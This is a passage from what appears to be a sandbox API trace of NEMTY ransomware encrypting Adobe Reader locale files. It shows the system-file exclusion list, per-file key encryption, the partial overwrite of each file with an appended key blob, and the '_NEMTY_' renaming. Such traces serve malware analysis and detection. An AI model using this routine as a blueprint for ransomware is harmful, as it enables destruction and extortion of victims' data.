lpString2="AUTOEXEC.BAT") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="ntuser.dat") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="desktop.ini") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="CONFIG.SYS") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="RECYCLER") returned -1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="bootmgr") returned 1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="programdata") returned -1 [0173.648] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="appdata") returned 1 [0173.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CAT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CAT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CAT", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CAT", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.649] Sleep (dwMilliseconds=0x5) [0173.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b278f30, dwHighDateTime=0x1d561e8)) [0173.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b278f30, dwHighDateTime=0x1d561e8)) [0173.657] GetLastError () returned 0x0 [0173.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.657] GetLastError () returned 0x0 [0173.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.658] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.658] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.658] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.658] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ya6e85oUWBpxknvfB4rpv0SioE8g9LQNufkNB92/AMLQJDJjySDeJx1HLqiHd/IP\r\n+s1qgfzzuBgvacmt5o4ZaOPE2oH8IdARq6IGLEinK6A+WngQaUPrW7r3KvQzcgjI\r\nuLA+CjENwUm1Fm6vRd3vqet34fhVHG5qTPdgpaXj8e0xJg24BMCR+mDq3ALxEEJY\r\npOfl1+vCy8yIXNzfl2lZG2tX7CY7iJ9jMANioHprQtSVAwaJSMggimM2P77GG9+f\r\n9OUbHtKqGvKqiWxd2EbtIGRcXM0L34KSXZRGJz0zArtxffHbAFbNhR8aMb+k+pPB\r\nQLz6um25PxXFt/r+yW2VqA==\r\n", pcchString=0x653e5dc) returned 1 [0173.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.658] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ppklite.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.658] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=547840) returned 1 [0173.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0173.658] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.658] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0173.667] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.667] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0173.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.668] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=547840, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85c00 [0173.668] WriteFile (in: hFile=0x3b0, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.675] CloseHandle (hObject=0x3b0) returned 1 [0173.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.675] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ppklite.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ppklite.cat._nemty_kgobjgd_")) returned 1 [0173.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.676] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.CAT", cAlternateFileName="")) returned 1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2=".") returned 1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="..") returned 1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="...") returned 1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="windows") returned -1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="rsa") returned -1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="NTDETECT.COM") returned 1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="ntldr") returned 1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="MSDOS.SYS") returned 1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="IO.SYS") returned 1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="boot.ini") returned 1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="boot.ini") returned 1 [0173.676] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.677] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="ntuser.dat") returned 1 [0173.677] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="desktop.ini") returned 1 [0173.677] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="CONFIG.SYS") returned 1 [0173.677] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="RECYCLER") returned -1 [0173.677] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.677] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="bootmgr") returned 1 [0173.677] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="programdata") returned 1 [0173.677] lstrcmpiW (lpString1="RdLang32.CAT", lpString2="appdata") returned 1 [0173.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CAT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CAT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CAT", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CAT", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.677] Sleep (dwMilliseconds=0x5) [0173.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b2c51f0, dwHighDateTime=0x1d561e8)) [0173.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b2c51f0, dwHighDateTime=0x1d561e8)) [0173.698] GetLastError () returned 0x0 [0173.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.698] GetLastError () returned 0x0 [0173.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.698] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.698] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.698] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.698] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="HCC8PV+srT+iyPdJh8CyvpXgZAsMg95dquKHZVf0GpA8BezMOIvkCUdjjt4c5L4q\r\ngNqgvgD7/T3Plb1HcsFOjvKhv+t5pPfhaW9exMHND+Qu8HzrSXF4h6dDNXj+yPsI\r\n+CeX4tXnO4AJwGTqg4WZvz0HqqXR5z3Zz4nX8yZD9GLnxwvH9kbidjwIcnxKCUIX\r\nI0FosqAqlYnrnWhna/lam5dhBXI2DK0BLNQ3ogQiD0R5ysyrLuI2QHSthBenogDm\r\nd6haVdnQ7V9PMu+Fz3y+73tx5UXf8pvseBfKP3a5wiWpAAiFqYT/mVISmSDhrJ6q\r\nY1knZ7gLcx6Up87wTVIPzg==\r\n", pcchString=0x653e5dc) returned 1 [0173.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\rdlang32.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.699] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1412608) returned 1 [0173.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0173.699] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.699] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0173.708] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.708] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0173.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.709] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=1412608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x158e00 [0173.709] WriteFile (in: hFile=0x3b0, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.711] CloseHandle (hObject=0x3b0) returned 1 [0173.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.711] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\rdlang32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\rdlang32.cat._nemty_kgobjgd_")) returned 1 [0173.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.712] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, 